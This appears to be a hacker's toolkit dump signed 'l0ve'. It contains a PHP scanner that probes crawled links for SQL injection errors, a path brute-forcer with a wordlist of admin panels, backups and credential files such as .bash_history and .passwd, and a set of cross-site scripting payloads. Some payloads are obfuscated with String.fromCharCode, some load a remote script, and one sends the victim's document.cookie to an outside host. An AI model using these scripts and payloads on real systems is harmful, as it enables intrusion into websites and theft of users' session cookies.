}:-)

<?php
#code by l0ve

echo "Vuln Scan 0.1\n";

if($argc <= 1) {
die("Uso: php $argv[0] servidor.com\n");
}

function conectar($web) {
$curl = curl_init($web);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); 
$code = curl_exec($curl);

if($code) {
return $code;
} else {
return 0;
}

}

preg_match_all("/a[\s]+[^>]*?href[\s]?=[\s\"\']+"."(.*?)[\"\']+.*?>"."([^<]+|.*?)?<\/a>/",conectar($argv[1]), $resultado);

$lista = array(
        'You have an error in your SQL',
        'Division by zero in',
        'supplied argument is not a valid MySQL result resource in',
        'Call to a member function',
        'Microsoft JET Database','ODBC Microsoft Access Driver',
        'Microsoft OLE DB Provider for SQL Server',
        'Unclosed quotation mark',
        'Microsoft OLE DB Provider for Oracle',
        '[Macromedia][SQLServer JDBC Driver][SQLServer]Incorrect',
        'Incorrect syntax near',
	'mysql_fetch_array()',
	'Server Error in'
	);

foreach($resultado[1] as $enlace) {
	
	echo "$enlace\n";	
	
	foreach($lista as $scan) {
		if(preg_match("/$scan/i", conectar("$enlace-1'"))) {
		echo "\n[+] Posible Vulnerable: $enlace\n\n";
		}
}
}
?>

<?php
#by l0ve
#usage: php script.php url paths.txt

$archivo = file("$argv[2]");

foreach($archivo as $path)
{
$punk = curl_init();
$url = "$argv[1]/"."$path";
curl_setopt($punk, CURLOPT_URL, $url);
curl_setopt($punk, CURLOPT_NOBODY, 1);
curl_setopt($punk, CURLOPT_FRESH_CONNECT, 1);
curl_exec($punk);
$estado = curl_getinfo($punk, CURLINFO_HTTP_CODE);

if($estado == 200 || $estado == 401 || $estado == 403)
echo "".trim($url)." == $estado\n";
}
?>

admin
index.php
index.html
phpmyadmin/
.bash_history
upload.php
upload.asp
uploader.php
uploader.asp
phpinfo.php
adm/
admin/
_admin/
administrator/
administracion/
_administracion/
~administracion/
administer/
upload/
uploads/
~adm/
~admin/
~administrator/
_banners/
_adv/
468/
88/
ads/
adv/
ban/
baners/
bann/
banner/
banners/
bannerz/
be/
begun/
bn/
bnr/
cnstats/
cnt/
phpadsnew/
extranet/
server-status/
server-info/
.server-status/
.server-info/
.passwd/
INSTALL/
_vti_log/
admcgi/
_notes/
_tmp/
_temp/
panel/
_panel/
~panel/
upFiles/
img/
es/
css/
socios/
Documentation/
INSTALL/setup.php
access/
active/
~guest/
~mail/
~operator/
~root/
~sys/
~sysadm/
~sysadmin/
~test/
~user/
~www/
~webmaster/
admin_upload/
admin_uploadpic/
editpassword/
manager_userinfo/
manager_tongji/
managerenter/
inc/
upfile/
admin_index/
Upfile/
admin_admin/
index_admin/
index/
default/
manage/
login/
manage_index/
index_manage/
admin1/
admin_login/
login_admin/
ad_login/
ad_manage/
count/
manager/
adminlogin/
adminuserlogin/
adm_login/
chklogin/
up/
aadmin/
admintab/
admin_main/
fileadmin/
databases/
includeinc/
app/
apps/
archive/
archives/
asp/
back/
backup/
back-up/
bak/
bakup/
bak-up/
basic/
bin/
cgi/
fcgi/
cgibin/
cgi-bin/
cgi-win/
class/
classes/
classified/
classifieds/
code/
credit/
creditcards/
cv/
content/
data/
database/
db/
dbase/
demo/
doc/
docs/
email/
downloads/
ecommerce/
error/
errors/
etc/
examples/
file/
files/
forum/
forums/
ftp/
guests/
help/
hidden/
hide/
home/
homes/
htm/
html/
include/
includes/
internet/
intranet/
lib/
libs/
libraries/
log/
logfiles/
logs/
mail/
members/
mssql/
ms-sql/
new/
old/
online/
order/
orders/
_pages/
pass/
passes/
passwd/
password/
passwords/
perl/
php/
priv/
private/
products/
scripts/
secret/
secrets/

' onmouseover=document.write(/<h1>PWNED/) '

<script>alert("owned");</script>

' onmouseover=document.write(String.fromCharCode(60,115,99,114,105,112,116,62,97,108,101,114,116,40,34,111,119,110,101,100,34,41,59,60,47,115,99,114,105,112,116,62,0)) '

<script src="http://kaked.iespana.es/punk.js></script>

' onmouseover=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,107,97,107,101,100,46,105,101,115,112,97,110,97,46,101,115,47,112,117,110,107,46,106,115,34,62,60,47,115,99,114,105,112,116,62,0)) '

window.location="http://kaked.iespana.es/lala.php?cookie="+document.cookie